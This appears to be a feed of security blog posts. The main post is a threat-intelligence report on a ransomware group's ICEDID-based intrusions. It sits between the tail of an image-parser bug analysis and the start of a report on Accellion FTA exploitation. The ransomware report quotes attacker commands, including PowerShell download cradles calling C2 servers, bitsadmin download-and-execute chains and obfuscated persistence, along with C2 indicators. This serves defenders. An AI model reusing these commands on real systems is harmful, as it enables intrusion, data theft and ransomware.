windowscodecs!CDecoderFrame::CopyPixels+0xb5 0:000> db 00000297`44382140 00000297`44382140  5b cd 82 55 2a 94 e2 6f-d7 2d a5 93 58 23 00 6c  [..U*..o.-..X#.l             // 0x10 bytes from file00000297`44382150  06 51 54 18 2e 2a 23 3a-4f ab 14 27 e9 c6 2c 83  .QT..*#:O..’..,.             // uninitialized memory 00000297`44382160  3a 25 b2 f6 9d e7 3c 09-cc a5 8e 27 b0 73 41 a9  :%….<….’.sA. 00000297`44382170  fb 9b 02 b5 81 3e ea 45-4c 0f ab a7 72 e3 21 e7  …..>.EL…r.!. 00000297`44382180  c8 44 84 3b c3 b5 44 8a-c9 6e 4b 2e 40 31 38 e0  .D.;[email protected] 00000297`44382190  85 f0 bd 98 3b 0b ca b8-78 b1 9d d0 dd 4d 61 66  ….;…x….Maf 00000297`443821a0  16 7d 0a e2 40 fa f8 45-4f 79 ab 95 d8 54 f9 44  .}[email protected]…T.D 00000297`443821b0  66 26 28 00 b7 96 52 88-15 f0 ed 34 94 5f 6f 94  f&(…R….4._o. Figure 7: Partial population of memory Use of Uninitialized Memory 0:000> r rax=0000000000000006 rbx=0000000000000007 rcx=0000000000000200 rdx=0000000000011803 rsi=0000029744382150 rdi=0000000000000000 rip=00007ff94414e837 rsp=000000aaa654f050 rbp=0000000000000001  r8=0000029744382550  r9=0000000000000000 r10=0000000000000008 r11=0000000000000013 r12=00007ff94418b7b0 r13=0000000000000003 r14=0000000023006c00 r15=00007ff94418bbb0 iopl=0         nv up ei pl nz na po nc cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206 windowscodecs!CCCITT::Expand2DLine+0x253: 00007ff9`4414e837 0fb606          movzx   eax,byte ptr [rsi] ds:00000297`44382150=06             ; Uninitialized memory being accessed   0:000> db 00000297`44382140 00000297`44382140  5b cd 82 55 2a 94 e2 6f-d7 2d a5 93 58 23 00 6c  [..U*..o.-..X#.l             // 0x10 bytes from file00000297`44382150  06 51 54 18 2e 2a 23 3a-4f ab 14 27 e9 c6 2c 83  .QT..*#:O..’..,.             // uninitialized memory 00000297`44382160  3a 25 b2 f6 9d e7 3c 09-cc a5 8e 27 b0 73 41 a9  :%….<….’.sA. 00000297`44382170  fb 9b 02 b5 81 3e ea 45-4c 0f ab a7 72 e3 21 e7  …..>.EL…r.!. 00000297`44382180  c8 44 84 3b c3 b5 44 8a-c9 6e 4b 2e 40 31 38 e0  .D.;[email protected] 00000297`44382190  85 f0 bd 98 3b 0b ca b8-78 b1 9d d0 dd 4d 61 66  ….;…x….Maf 00000297`443821a0  16 7d 0a e2 40 fa f8 45-4f 79 ab 95 d8 54 f9 44  .}[email protected]…T.D 00000297`443821b0  66 26 28 00 b7 96 52 88-15 f0 ed 34 94 5f 6f 94  f&(…R….4._o.   0:000> k  # Child-SP          RetAddr           Call Site 00 000000aa`a654f050 00007ff9`4414df80 windowscodecs!CCCITT::Expand2DLine+0x253 01 000000aa`a654f0d0 00007ff9`4412afcc windowscodecs!CCCITT::CCITT_Expand+0xac 02 000000aa`a654f120 00007ff9`4404d3f0 windowscodecs!CCITTDecode+0x7c 03 000000aa`a654f170 00007ff9`4404d2dc windowscodecs!TIFFReadEncodedStrip+0xb8 04 000000aa`a654f1b0 00007ff9`440396dd windowscodecs!CLibTiffDecoderBase::ReadStrip+0x74 05 000000aa`a654f1e0 00007ff9`44115fca windowscodecs!CLibTiffDecoderBase::GetOneUnpackedLine+0x1ad 06 000000aa`a654f2b0 00007ff9`44077400 windowscodecs!CLibTiffDecoderBase::HrProcessCopy+0x4a 07 000000aa`a654f2f0 00007ff9`44048dbb windowscodecs!CLibTiffDecoderBase::HrReadScanline+0x20 08 000000aa`a654f320 00007ff9`44048b40 windowscodecs!CDecoderBase::CopyPixels+0x23b 09 000000aa`a654f3d0 00007ff9`44043c95 windowscodecs!CLibTiffDecoderBase::CopyPixels+0x80 0a 000000aa`a654f4d0 00007ff9`4404563b windowscodecs!CDecoderFrame::CopyPixels+0xb5 Figure 8: Reading of uninitialized value Depending on the uninitialized value (Figure 8), different code paths are taken in Expand2DLine, which will change the output pixels, as shown in Figure 9.   {     {         if ( v11 != 1 || a2 )         {             unintValue = *++allocBuffer | (unintValue << 8);          // uninit mem read         }         else         {             unintValue <<= 8;             ++allocBuffer;         }         –v11;         v16 += 8;       }       v29 = unintValue >> (v16 – 8);       dependentUninitValue = *(l + 2i64 * v29);                                  v16 -= *(l + 2i64 * v29 + 1);       if ( dependentUninitValue >= 0 )             // path 1         break;       if ( dependentUninitValue < ‘\xC0’ )         return 0xFFFFFFFFi64;                     // path 2   }   if ( dependentUninitValue <= 0x3F )              // path xx       break; Figure 9: Use of uninitialized memory in if conditions Patch Microsoft decided to patch this vulnerability by using calloc instead of malloc, which initializes the allocated memory with zeros. Conclusion Part Two of this blog series presents multiple vulnerabilities in Windows’ built-in image parsers. In the next post, we will explore newer supported image formats in Windows such as RAW, HEIF and more.

  • So Unchill: Melting UNC2198 ICEDID to Ransomware Operations
    by Bryce Abdo on February 25, 2021 at 4:00 pm

    Mandiant Advanced Practices (AP) closely tracks the shifting tactics, techniques, and procedures (TTPs) of financially motivated groups who severely disrupt organizations with ransomware. In May 2020, FireEye released a blog post detailing intrusion tradecraft associated with the deployment of MAZE. As of publishing this post, we track 11 distinct groups that have deployed MAZE ransomware. At the close of 2020, we noticed a shift in a subset of these groups that have started to deploy EGREGOR ransomware in favor of MAZE ransomware following access acquired from ICEDID infections. Since its discovery in 2017 as a banking trojan, ICEDID evolved into a pernicious point of entry for financially motivated actors to conduct intrusion operations. In earlier years, ICEDID was deployed to primarily target banking credentials. In 2020 we observed adversaries using ICEDID more explicitly as a tool to enable access to impacted networks, and in many cases this was leading to the use of common post-exploitation frameworks and ultimately the deployment of ransomware. This blog post shines a heat lamp on the latest tradecraft of UNC2198, who used ICEDID infections to deploy MAZE or EGREGOR ransomware. Building an Igloo: ICEDID Infections Separate phases of intrusions are attributed to different uncategorized (UNC) groups when discrete operations such as obtaining access are not part of a contiguous operation. Pure “access operations” establish remote access into a target environment for follow on operations actioned by a separate group. A backdoor deployed to establish an initial foothold for another group is an example of an access operation. Between July and December 2020, an ICEDID phishing infection chain consisted of a multi-stage process involving MOUSEISLAND and PHOTOLOADER (Figure 1). Figure 1: Example UNC2420 MOUSEISLAND to ICEDID Infection Chain MOUSEISLAND is a Microsoft Word macro downloader used as the first infection stage and is delivered inside a password-protected zip attached to a phishing email (Figure 2). Based on our intrusion data from responding to ICEDID related incidents, the secondary payload delivered by MOUSEISLAND has been PHOTOLOADER, which acts as an intermediary downloader to install ICEDID. Mandiant attributes the MOUSEISLAND distribution of PHOTOLOADER and other payloads to UNC2420, a distribution threat cluster created by Mandiant’s Threat Pursuit team. UNC2420 activity shares overlaps with the publicly reported nomenclature of “Shathak” or “TA551”. Figure 2: UNC2420 MOUSEISLAND Phishing Email Ice, Ice, BEACON…UNC2198 Although analysis is always ongoing, at the time of publishing this blog post, Mandiant tracks multiple distinct threat clusters (UNC groups) of various sizes that have used ICEDID as a foothold to enable intrusion operations. The most prominent of these threat clusters is UNC2198, a group that has targeted organizations in North America across a breadth of industries. In at least five cases, UNC2198 acquired initial access from UNC2420 MOUSEISLAND to conduct intrusion operations. In 2020, Mandiant attributed nine separate intrusions to UNC2198. UNC2198’s objective is to monetize their intrusions by compromising victim networks with ransomware. In July 2020, Mandiant observed UNC2198 leverage network access provided by an ICEDID infection to encrypt an environment with MAZE ransomware. As the year progressed into October and November, we observed UNC2198 shift from deploying MAZE to using EGREGOR ransomware during another Incident Response engagement. Like MAZE, EGREGOR is operated using an affiliate model, where affiliates who deploy EGREGOR are provided with proceeds following successful encryption and extortion for payment. The UNC2198 cluster expanded over the course of more than six months. Mandiant’s December 2020 blog post on UNCs described the analytical tradecraft we use to merge and graduate clusters of activity. Merging UNCs is a substantial analytical practice in which indicators and tradecraft attributed to one group are scrutinized against another. Two former UNCs that shared similar modus operandi were eventually merged into UNC2198. The Snowball Effect of Attribution AP created UNC2198 based on a single intrusion in June 2020 involving ICEDID, BEACON, SYSTEMBC and WINDARC. UNC2198 compromised 32 systems in 26 hours during this incident; however, ransomware was not deployed. Throughout July 2020 we attributed three intrusions to UNC2198 from Incident Response engagements, including one resulting in the deployment of MAZE ransomware. In October 2020, a slew of activity at both Incident Response engagements and Managed Defense clients resulted in the creation of two new UNC groups, and another incident attributed to UNC2198. One of the new UNC groups created in October 2020 was given the designation UNC2374. UNC2374 began as its own distinct cluster where BEACON, WINDARC, and SYSTEMBC were observed during an incident at a Managed Defense customer. Initial similarities in tooling did not constitute a strong enough link to merge UNC2374 with UNC2198 yet. Two and a half months following the creation of UNC2374, we amassed enough data points to merge UNC2374 into UNC2198. Some of the data points used in merging UNC2374 into UNC2198 include: UNC2198 and UNC2374 Cobalt Strike Team Servers used self-signed certificates with the following subject on TCP port 25055: C = US, ST = CA, L = California, O = Oracle Inc, OU = Virtual Services, CN = oracle.com UNC2198 and UNC2374 deployed WINDARC malware to identical file paths: %APPDATA%\teamviewers\msi.dll The same code signing certificate used to sign an UNC2198 BEACON loader was used to sign two UNC2374 SYSTEMBC tunneler payloads. UNC2374 and UNC2198 BEACON C2 servers were accessed by the same victim system within a 10-minute time window during intrusion operations. The other UNC group created in October 2020 was given the designation UNC2414. Three separate intrusions were attributed to UNC2414, and as the cluster grew, we surfaced similarities between UNC2414 and UNC2198. A subset of the data points used to merge UNC2414 into UNC2198 include: UNC2198 and UNC2414 BEACON servers used self-signed certificates using the following subject on TCP port 25055: C = US, ST = CA, L = California, O = Oracle Inc, OU = Virtual Services, CN = oracle.com UNC2198 and UNC2414 installed BEACON as C:\Windows\int32.dll UNC2198 and UNC2414 installed the RCLONE utility as C:\Perflogs\rclone.exe UNC2198 and UNC2414 were proven to be financially motivated actors that had leveraged ICEDID as initial access:UNC2198 had deployed MAZE UNC2414 had deployed EGREGOR The merge between UNC2198 and UNC2414 was significant because it revealed UNC2198 has access to EGREGOR ransomware. The timing of the EGREGOR usage is also consistent with MAZE ransomware shutting down as reported by Mandiant Intelligence. Figure 3 depicts the timeline of related intrusions and merges into UNC2198. Figure 3: UNC2198 timeline UNC2198 Intrusion Flow: After Initial Access Expanding the UNC2198 cluster through multiple intrusions and merges with other UNC groups highlights the range of TTPs employed. We have pulled out some key data from all our UNC2198 intrusions to illustrate an amalgamation of capabilities used by the threat actor. Establish Foothold After obtaining access, UNC2198 has deployed additional malware using various techniques. For instance, UNC2198 used InnoSetup droppers to install a WINDARC backdoor on the target host. UNC2198 also used BITS Jobs and remote PowerShell downloads to download additional tools like SYSTEMBC for proxy and tunneler capabilities. Example commands for download and execution are: %COMSPEC% /C echo bitsadmin /transfer 257e http://<REDACTED>/<REDACTED>.exe %APPDATA%<REDACTED>.exe & %APPDATA%<REDACTED>.exe & del %APPDATA% <REDACTED>.exe ^> %SYSTEMDRIVE%\WINDOWS\Temp\FmpaXUHFennWxPIM.txt > \WINDOWS\Temp\MwUgqKjEDjCMDGmC.bat & %COMSPEC% /C start %COMSPEC% /C \WINDOWS\Temp\MwUgqKjEDjCMDGmC.bat %COMSPEC% /C echo powershell.exe -nop -w hidden -c (new-object System.Net.WebClient).Downloadfile(http://<REDACTED>/<REDACTED>.exe, <REDACTED>.exe) ^> %SYSTEMDRIVE%\WINDOWS\Temp\AVaNbBXzKyxktAZI.txt > \WINDOWS\Temp\yoKjaqTIzJhdDLjD.bat & %COMSPEC% /C start %COMSPEC% /C \WINDOWS\Temp\yoKjaqTIzJhdDLjD.bat UNC2198 has used Cobalt Strike BEACON, Metasploit METERPRETER, KOADIC, and PowerShell EMPIRE offensive security tools during this phase as well. Offensive Security Tooling UNC2198 has used offensive security tools similarly seen across many threat actors. UNC2198 has used BEACON in roughly 90% of their intrusions. UNC2198 installs and executes Cobalt Strike BEACON in a variety of ways, including shellcode loaders using PowerShell scripts, service executables, and DLLs. While the ways and means of using BEACON are not inherently unique, there are still aspects to extrapolate that shed light on UNC2198 TTPs. Focusing in on specific BEACON executables tells a different story beyond the use of the tool itself. Aside from junk code and API calls, UNC2198 BEACON and METERPRETER executables often exhibit unique characteristics of malware packaging, including odd command-line arguments visible within strings and upon execution via child processes: cmd.exe /c echo TjsfoRdwOe=9931 & reg add HKCU\SOFTWARE\WIlumYjNSyHob /v xFCbJrNfgBNqRy /t REG_DWORD /d 3045 & exit cmd.exe /c echo ucQhymDRSRvq=1236 & reg add HKCU\\SOFTWARE\\YkUJvbgwtylk /v KYIaIoYxqwO /t REG_DWORD /d 9633 & exit cmd.exe /c set XlOLqhCejHbSNW=8300 & reg add HKCU\SOFTWARE\WaMgGneKhtgTTy /v LbmWADsevLywrkP /t REG_DWORD /d 3809 & exit These example commands are non-functional, as they do not modify or alter payload execution. Another technique involves installing BEACON using a file path containing mixed Unicode-escaped and ASCII characters to evade detection: Unicode Escaped C:\ProgramData\S\u0443sH\u0435\u0430ls\T\u0430s\u0441host.exe Unicode Unescaped C:\ProgramData\SуsHеаls\Tаsсhost.exe The executable was then executed by using a Scheduled Task named shadowdev: cmd.exe /c schtasks /create /sc minute /mo 1 /tn shadowdev /tr C:\\ProgramData\\S\u0443sH\u0435\u0430ls\\T\u0430s\u0441host.exe While the previous examples are related to compiled executables, UNC2198 has also used simple PowerShell download cradles to execute Base64-encoded and compressed BEACON stagers in memory: powershell -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(‘hxxp://5.149.253[.]199:80/auth’)) powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(“hxxp://185.106.122[.]167:80/a”)) powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘hxxp://195.123.233[.]157:80/casino’))” Discovery and Reconnaissance UNC2198 has exhibited common TTPs seen across many threat groups during discovery and reconnaissance activities. UNC2198 has used the BloodHound active directory mapping utility during intrusions from within the “C:\ProgramData” and “C:\Temp” directories. The following are collective examples of various commands executed by UNC2198 over time to enumerate a compromised environment: arp -a whoami /groups whoami.exe  /groups /fo csv whoami /all net user <Redacted> net groups “Domain Admins” /domain net group “Enterprise admins” /domain net group “local admins” /domain net localgroup “administrators” /domain nltest /domain_trusts nltest /dclist:<Redacted> Lateral Movement and Privilege Escalation UNC2198 has used Windows Remote Management and RDP to move laterally between systems. UNC2198 has also performed remote execution of BEACON service binaries on targeted systems to move laterally. UNC2198 launches SMB BEACON using PowerShell, executing command lines such as the following: C:\WINDOWS\system32\cmd.exe /b /c start /b /min powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALAB bAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AH MASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAVwA3ADIALw…<Truncated> During one intrusion, UNC2198 used the SOURBITS privilege escalation utility to execute files on a target system. SOURBITS is a packaged exploit utility for CVE-2020-0787, which is a vulnerability that was disclosed in 2020 for Windows Background Intelligent Transfer Service (BITS). SOURBITS consists of code derived from a GitHub Repository that is implemented as a command-line utility, which can execute arbitrary files with elevated privileges. UNC2198 used SOURBITS with the following components: C:\Users\<User>\Downloads\runsysO.cr C:\Users\<User>\Downloads\starterO.exe The file runsysO.cr is an XOR-encoded PE executable that exploits CVE-2020-0787, and based on the target system’s bitness, it will drop one of two embedded SOURBITS payloads. Data Theft, Ransomware Deployment and #TTR Like other financially motivated threat actors, part of UNC2198’s modus operandi in latter stages of intrusions involves the exfiltration of hundreds of gigabytes of the victim organizations’ data before ransomware is installed. Specifically, UNC2198 has used RCLONE, a command line utility used to synchronize cloud storage, to aid in the exfiltration of sensitive data. In all observed cases of data theft, RCLONE was used by UNC2198 from the “C:\PerfLogs\rclone.exe” file path. “Time-to-Ransom” (TTR) is the delta between first-attributed access time and the time of ransomware deployment. TTR serves as a useful gauge of how quickly an organization needs to respond to stave off a threat actor’s successful deployment of ransomware. TTR is not a perfect quantification, as external factors such as an organization’s security posture can drastically affect the measurement. In this post, the TTR of UNC2198 is measured between ICEDID activity to the deployment of ransomware. In July 2020, UNC2198 deployed MAZE ransomware using PSEXEC, and the TTR was 5.5 days. In October 2020, UNC2198 deployed EGREGOR ransomware using forced GPO updates, and the TTR was 1.5 days. Looking Forward Threat actors leveraging access obtained through mass malware campaigns to deploy ransomware is a growing trend. The efficiency of ransomware groups places a significant burden on defenders to rapidly respond before ransomware deployment. As ransomware groups continue to gain operational expertise through successful compromises, they will continue to shorten their TTR while scaling their operations. Understanding the TTPs fundamental to a specific operation like UNC2198 provides an edge to defenders in their response efforts. Our unparalleled understanding of groups like UNC2198 is translated into Mandiant Advantage. Accessing our holdings in Mandiant Advantage aids defenders in recognizing TTPs used by threat actors, assessing organizational risk, and taking action. Initial investments made into rapidly assessing a group’s modus operandi pays dividends when they inevitably evolve and swap out components of their toolset. Whether it be MAZE or EGREGOR, something icy or hot, Advanced Practices will continue to pursue these unchill threat actors. Acknowledgements Thank you to Dan Perez, Andrew Thompson, Nick Richard, Cian Lynch and Jeremy Kennelly for technical review of this content. In addition, thank you to Mandiant frontline responders for harvesting the valuable intrusion data that enables our research. Appendix: Malware Families PHOTOLOADER is a downloader that has been observed to download ICEDID. It makes an HTTP request for a fake image file, which is RC4 decrypted to provide the final payload. Host information is sent to the command and control (C2) via HTTP cookies. Samples have been observed to contain an embedded C2 configuration that contain the real C2 with a number of non-malicious domains. The non-malicious domains are contacted in addition to the real C2. WINDARC is a backdoor that hijacks the execution of TeamViewer to perform C2 communication. It supports plugins and accepts several backdoor commands. The commands include interacting with the TeamViewer tool, starting a reverse shell, loading new plugins, downloading and executing files, and modifying configuration settings. SYSTEMBC is a proxy malware that beacons to its C2 and opens new proxy connections between the C2 and remote hosts as indicated by the C2. Proxied communications are encrypted with RC4. The malware receives commands via HTTP and creates new proxy connections as directed. Underground sales advertisements refer to the software as a “socks5 backconnect system”. The malware is typically used to hide the malicious traffic associated with other malware. Appendix: Detecting the Techniques FireEye security solutions detect these threats across email, endpoint, and network levels. The following is a snapshot of existing detections related to activity outlined in this blog post. Platform Detection Name FireEye Network Security Downloader.Macro.MOUSEISLAND   Downloader.Win.PHOTOLOADER      Trojan.PHOTOLOADER           Downloader.IcedID Trojan.IcedID              Malicious.SSL.IcedID Malicious.SSL.IcedIdCert Trojan.Malicious.Certificate Backdoor.BEACON Trojan.Generic Trojan.CobaltStrike FireEye Endpoint Security Real-Time (IOC) BLOODHOUND ATTACK PATH MAPPING (UTILITY) BLOODHOUND ATTACK PATH MAPPING A (UTILITY) COBALT STRIKE (BACKDOOR) COBALT STRIKE DEFAULT DLL EXPORT (BACKDOOR) COBALT STRIKE NAMED PIPE ECHO (BACKDOOR) EGREGOR RANSOMWARE (FAMILY) ICEDID (FAMILY) MAZE RANSOMWARE (FAMILY) MAZE RANSOMWARE A (FAMILY) METASPLOIT SERVICE ABUSE (UTILITY) MOUSEISLAND (DOWNLOADER) MOUSEISLAND A (DOWNLOADER) MOUSEISLAND B (DOWNLOADER) POWERSHELL DOWNLOADER (METHODOLOGY) POWERSHELL DOWNLOADER D (METHODOLOGY) SCHTASK CREATION FROM PROGRAMDATA (COLLECTION) SUSPICIOUS BITSADMIN USAGE A (METHODOLOGY) SUSPICIOUS POWERSHELL USAGE (METHODOLOGY) WMIC SHADOWCOPY DELETE (METHODOLOGY) Malware Protection (AV/MG) SYSTEMBC Trojan.EmotetU.Gen.* Trojan.Mint.Zamg.O Generic.mg.* ICEID Gen:Variant.Razy.* Generic.mg.* BEACON Gen:[email protected] Gen:Variant.Bulz.1217 Trojan.GenericKD.34797730 Generic.mg.* Appendix: Indicators 95b78f4d3602aeea4f7a33c9f1b49a97 SYSTEMBC 0378897e4ec1d1ee4637cff110635141 SYSTEMBC c803200ad4b9f91659e58f0617f0dafa SYSTEMBC ad4d445091a3b66af765a1d653fd1eb7 SYSTEMBC 9ecf25b1e9be0b20822fe25269fa5d02 SYSTEMBC e319f5a8fe496c0c8247e27c3469b20d SYSTEMBC a8a7059278d82ce55949168fcd1ddde4 SYSTEMBC aea530f8a0645419ce0abe1bf2dc1584 SYSTEMBC 3098fbc98e90d91805717d7a4f946c27 SYSTEMBC 45.141.84.212:4132 SYSTEMBC 45.141.84.223:4132 SYSTEMBC 79.141.166.158:4124 SYSTEMBC 149.28.201.253:4114 SYSTEMBC 193.34.167.34:80  BEACON 195.123.240.219:80 BEACON 23.227.193.167:80 BEACON 5.149.253.199:80  BEACON e124cd26fcce258addc85d7f010655ea BEACON 7ae990c12bf5228b6d1b90d40ad0a79f BEACON 3eb552ede658ee77ee4631d35eac6b43 BEACON c188c6145202b65a941c41e7ff2c9afd BEACON 2f43055df845742d137a18b347f335a5 BEACON 87dc37e0edb39c077c4d4d8f1451402c ICEDID 1efababd1d6bd869f005f92799113f42 ICEDID a64e7dd557e7eab3513c9a5f31003e68 ICEDID 9760913fb7948f2983831d71a533a650 ICEDID 14467102f8aa0a0d95d0f3c0ce5f0b59 ICEDID colombosuede.club ICEDID colosssueded.top ICEDID golddisco.top ICEDID june85.cyou ICEDID Appendix: Mandiant Security Validation Actions Organizations can validate their security controls against more than 60 actions with Mandiant Security Validation. VID Name A101-509 Phishing Email – Malicious Attachment, MOUSEISLAND, Macro Based Downloader A150-326 Malicious File Transfer – MOUSEISLAND, Download, Variant #1 A150-433 Malicious File Transfer – MOUSEISLAND, Download, Variant #2 A101-282 Malicious File Transfer – MOUSEISLAND Downloader, Download A104-632 Protected Theater – MOUSEISLAND Downloader, Execution A101-266 Command and Control – MOUSEISLAND, HTTP GET Request for PHOTOLOADER A101-280 Malicious File Transfer – PHOTOLOADER, Download A101-263 Command and Control – PHOTOLOADER, DNS Query #1 A101-281 Malicious File Transfer – ICEDID Stage 3, Download A101-279 Malicious File Transfer – ICEDID Final Payload, Download A101-265 Command and Control – ICEDID, DNS Query #1 A101-264 Command and Control – ICEDID, DNS Query #2 A101-037 Malicious File Transfer – MAZE, Download, Variant #1 A101-038 Malicious File Transfer – MAZE, Download, Variant #2 A101-039 Malicious File Transfer – MAZE, Download, Variant #3 A101-040 Malicious File Transfer – MAZE, Download, Variant #4 A101-041 Malicious File Transfer – MAZE, Download, Variant #5 A101-042 Malicious File Transfer – MAZE, Download, Variant #6 A101-043 Malicious File Transfer – MAZE, Download, Variant #7 A101-044 Malicious File Transfer – MAZE, Download, Variant #8 A101-045 Malicious File Transfer – MAZE, Download, Variant #9 A100-878 Command and Control – MAZE Ransomware, C2 Check-in A101-030 Command and Control – MAZE Ransomware, C2 Beacon, Variant #1 A101-031 Command and Control – MAZE Ransomware, C2 Beacon, Variant #2 A101-032 Command and Control – MAZE Ransomware, C2 Beacon, Variant #3 A104-734 Protected Theater – MAZE, PsExec Execution A104-487 Protected Theater – MAZE Ransomware, Encoded PowerShell Execution A104-485 Protected Theater – MAZE Ransomware Execution, Variant #1 A104-486 Protected Theater – MAZE Ransomware Execution, Variant #2 A104-491 Host CLI – MAZE, Create Target.lnk A104-494 Host CLI – MAZE, Dropping Ransomware Note Burn Directory A104-495 Host CLI – MAZE, Traversing Directories and Dropping Ransomware Note, DECRYPT-FILES.html Variant A104-496 Host CLI – MAZE, Traversing Directories and Dropping Ransomware Note, DECRYPT-FILES.txt Variant A104-498 Host CLI – MAZE, Desktop Wallpaper Ransomware Message A150-668 Malicious File Transfer – EGREGOR, Download A101-460 Command and Control – EGREGOR, GET DLL Payload A150-675 Protected Theater – EGREGOR, Execution, Variant #1 A101-271 Malicious File Transfer – BEACON, Download, Variant #1 A150-610 Malicious File Transfer – BEACON, Download A150-609 Command and Control – BEACON, Check-in A104-732 Protected Theater – BEACON, Mixed Unicode-Escaped and ASCII Characters Execution A101-514 Malicious File Transfer – WINDARC, Download, Variant #1 A100-072 Malicious File Transfer – SYSTEMBC Proxy, Download A100-886 Malicious File Transfer – Rclone.exe, Download A100-880 Malicious File Transfer – Bloodhound Ingestor C Sharp Executable Variant, Download A100-881 Malicious File Transfer – Bloodhound Ingestor C Sharp PowerShell Variant, Download A100-882 Malicious File Transfer – Bloodhound Ingestor PowerShell Variant, Download A100-877 Active Directory – BloodHound, CollectionMethod All A101-513 Malicious File Transfer – SOURBITS, Download, Variant #1 A104-733 Protected Theater – CVE-2020-0787, Arbitrary File Move A100-353 Command and Control – KOADIC Agent (mshta) A100-355 Command and Control – Multiband Communication using KOADIC A104-088 Host CLI – Timestomp W/ PowerShell A104-277 Host CLI – EICAR COM File Download via PowerShell A104-281 Host CLI – EICAR TXT File Download via PowerShell A104-664 Host CLI – EICAR, Download with PowerShell A150-054 Malicious File Transfer – EMPIRE, Download A100-327 Command and Control – PowerShell Empire Agent (http) A100-328 Lateral Movement, Execution – PsExec A100-498 Scanning Activity – TCP Port Scan for Open RDP A100-502 Scanning Activity – UDP Port Scan for Open RDP A100-316 Lateral Movement – PSSession and WinRM A104-081 Host CLI – Mshta Appendix: UNC2198 MITRE ATT&CK Mapping ATT&CK Tactic Category Techniques Resource Development Acquire Infrastructure (T1583) Virtual Private Server (T1583.003) Develop Capabilities (T1587) Digital Certificates (T1587.003) Obtain Capabilities (T1588) Code Signing Certificates (T1588.003) Digital Certificates (T1588.004) Initial Access Phishing (T1566) Spearphishing Attachment (T1566.001) External Remote Services (T1133) Valid Accounts (T1078) Execution Command and Scripting Interpreter (T1059) PowerShell (T1059.001) Visual Basic (T1059.005) Windows Command Shell (T1059.003) Scheduled Task/Job (T1053) Scheduled Task (T1053.005) System Services (T1569) Service Execution (T1569.002) User Execution (T1204) Malicious File (T1204.002) Windows Management Instrumentation (T1047) Persistence External Remote Services (T1133) Scheduled Task/Job (T1053) Scheduled Task (T1053.005) Valid Accounts (T1078) Privilege Escalation Process Injection (T1055) Scheduled Task/Job (T1053) Scheduled Task (T1053.005) Valid Accounts (T1078) Defense Evasion Impair Defenses (T1562) Disable or Modify System Firewall (T1562.004) Disable or Modify Tools (T1562.001) Indicator Removal on Host (T1070) Timestomp (T1070.006) Indirect Command Execution (T1202) Modify Registry (T1112) Obfuscated Files or Information (T1027) Steganography (T1027.003) Process Injection (T1055) Signed Binary Proxy Execution (T1218) Mshta (T1218.005) Subvert Trust Controls (T1553) Code Signing (T1553.002) Valid Accounts (T1078) Virtualization/Sandbox Evasion (T1497) Credential Access OS Credential Dumping (T1003) Discovery Account Discovery (T1087) Local Account (T1087.001) Domain Trust Discovery (T1482) File and Directory Discovery (T1083) Permission Groups Discovery (T1069) System Information Discovery (T1082) System Network Configuration Discovery (T1016) System Owner/User Discovery (T1033) Virtualization/Sandbox Evasion (T1497) Lateral Movement Remote Services (T1021) Remote Desktop Protocol (T1021.001) SMB/Windows Admin Shares (T1021.002) SSH (T1021.004) Collection Archive Collected Data (T1560) Archive via Utility (T1560.001) Command and Control Application Layer Protocol (T1071) Web Protocols (T1071.001) Encrypted Channel (T1573) Asymmetric Cryptography (T1573.002) Ingress Tool Transfer (T1105) Proxy (T1090) Multi-hop Proxy (T1090.003)

  • Cyber Criminals Exploit Accellion FTA for Data Theft and Extortion
    by Andrew Moore on February 22, 2021 at 2:00 pm

    Starting in mid-December 2020, malicious actors that Mandiant tracks as UNC2546 exploited multiple zero-day vulnerabilities in Accellion’s legacy File Transfer Appliance (FTA) to install a newly discovered web shell named DEWMODE. The motivation of UNC2546 was not immediately apparent, but starting in late January 2021, several organizations that had been impacted by UNC2546 in the prior month began receiving extortion emails from actors threatening to publish stolen data on the “CL0P^_- LEAKS” .onion website. Some of the published victim data appears to have been stolen using the DEWMODE web shell. Notably, the number of victims on the “CL0P^_- LEAKS” shaming website has increased in February 2021 with organizations in the United States, Singapore, Canada, and the Netherlands recently outed by these threat actors. Mandiant has previously reported that FIN11 has threatened to post stolen victim data on this same .onion site as an additional tactic to pressure victims into paying extortion demands following the deployment of CLOP ransomware. However, in recent CLOP extortion incidents, no ransomware was deployed nor were the other hallmarks of FIN11 present. We are currently tracking the exploitation of the zero-day Accellion FTA vulnerabilities and data theft from companies running the legacy FTA product as UNC2546, and the subsequent extortion activity as UNC2582. We have identified overlaps between UNC2582, UNC2546, and prior FIN11 operations, and we will continue to evaluate the relationships between these clusters of activity. For more information on our use of ‘UNC’ designations, see our blog post, “DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors.” Mandiant has been working closely with Accellion in response to these matters and will be producing a complete security assessment report in the coming weeks. At this time, Accellion has patched all FTA vulnerabilities known to be exploited by the threat actors and has added new monitoring and alerting capabilities to flag anomalies associated with these attack vectors. Mandiant has validated these patches. Mandiant is currently performing penetration testing and code review of the current version of the Accellion FTA product and has not found any other critical vulnerabilities in the FTA product based on our analysis to date. Accellion customers using the FTA legacy product were the targets of the attack. Accellion FTA is a 20-year-old product nearing end of life. Accellion strongly recommends that FTA customers migrate to kiteworks, Accellion’s enterprise content firewall platform. Per Accellion, Kiteworks is built on an entirely different code base. The following CVEs have since been reserved for tracking the recently patched Accellion FTA vulnerabilities: CVE-2021-27101 – SQL injection via a crafted Host header CVE-2021-27102 – OS command execution via a local web service call CVE-2021-27103 – SSRF via a crafted POST request CVE-2021-27104 – OS command execution via a crafted POST request UNC2546 and DEWMODE In mid-December 2020, Mandiant responded to multiple incidents in which a web shell we call DEWMODE was used to exfiltrate data from Accellion FTA devices. The Accellion FTA device is a purpose-built application designed to allow an enterprise to securely transfer large files. The exfiltration activity has affected entities in a wide range of sectors and countries. Across these incidents, Mandiant observed common infrastructure usage and TTPs, including exploitation of FTA devices to deploy the DEWMODE web shell. Mandiant determined that a common threat actor we now track as UNC2546 was responsible for this activity. While complete details of the vulnerabilities leveraged to install DEWMODE are still being analyzed, 